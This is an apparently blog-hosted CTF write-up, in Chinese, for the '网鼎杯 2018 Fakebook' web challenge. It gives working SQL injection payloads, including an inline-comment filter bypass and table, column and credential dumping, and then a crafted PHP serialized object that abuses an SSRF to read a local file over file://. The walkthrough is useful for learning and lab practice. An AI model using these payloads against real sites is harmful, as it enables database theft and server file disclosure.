[网鼎杯 2018]Fakebook

web第32题
[网鼎杯 2018]Fakebook

打开靶场
在这里插入图片描述
一个简单的登陆和注册并发布博客的页面
尝试join页面注册始终提示blog is not valid,应该是做了某种限制,又获取不到源码,那直接用dirmap来一波目录扫描看看了
在这里插入图片描述
得到2个比较敏感的文件,先访问一下view.php
在这里插入图片描述
竟然报错了,而且像是sql的报错
再访问一下robots.txt。这个文件通常用来保存服务器的一些敏感信息
在这里插入图片描述
提示了一个.bak后缀的备份文件。直接访问,下载下来
得到user.php的源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

参看函数isValidBlog ()
执行正则匹配,必须以http://或者https://开头
这下知道为什么注册不上了
现在进行注册在这里插入图片描述
在这里插入图片描述
发布成功
在这里插入图片描述
点进去发现又get方式进行传参,根据上面的报错猜测存在sql注入,直接尝试1’
在这里插入图片描述
果然是存在sql注入的
打一波sql注入的常规语句
1.猜解字段数

no=1 order by 4 #

页面正常回显
改为5
在这里插入图片描述
报错,说明字段数为4
2.猜解回显点

no=-1 union select 1,2,3,4 #

在这里插入图片描述
哦!?看来做了过滤
尝试绕过一下呢,内联注释绕过

no=-1 /*!union*/ select 1,2,3,4 #

在这里插入图片描述
页面回显的是第2个字段的位置
并且注意到unserialize()函数报错,说明使用了反序列化,可能还有其他的突破方法
3.查询数据库

no=-1 /*!union*/ select 1,database(),3,4 #

在这里插入图片描述
得到数据库名为fakebook
4.查询表名

no=-1 /*!union*/ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

在这里插入图片描述
得到表名为users
5.爆字段名

no=-1 /*!union*/ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#

在这里插入图片描述
得到字段名:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
6.爆数据

no=-1 /*!union*/ select 1,group_concat(no,'--',username,'--',passwd,'--',data),3,4 from users#

在这里插入图片描述
爆出数据
可以注意到data字段:O:8:“UserInfo”:3:{s:4:“name”;s:5:“r1cky”;s:3:“age”;i:12;s:4:“blog”;s:22:“https://www.baidu.com/”;}
使用序列化的方式存储用户信息
那么写入数据库时肯定也可以使用反序列化方式写入
通过报错我们知道了网站的绝对路径 /var/www/html/,看了下大佬们的wp,说就在这个路径下有flag.php
构造序列化的语句
在这里插入图片描述
得到

O:8:"UserInfo":3:{s:4:"name";s:6:"r1ckyC";s:3:"age";i:21;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

这里的file:///var/www/html/flag.php是借助file协议读取网页内容,利用了代码中存在的ssrf漏洞:(对此不太熟悉,也是看的佬的wp,后面会具体分析一下)

function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

注意序列化内容对应的是data字段,所以写在第4个位置。
payload:
原理,union select x,x,x,x 会在数据库中创建一条临时数据

no=-1 /*!union*/ select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"r1ckyC";s:3:"age";i:21;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

在这里插入图片描述
成功写入,并且给出了base64加密后的数据
解密一下得到flag
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值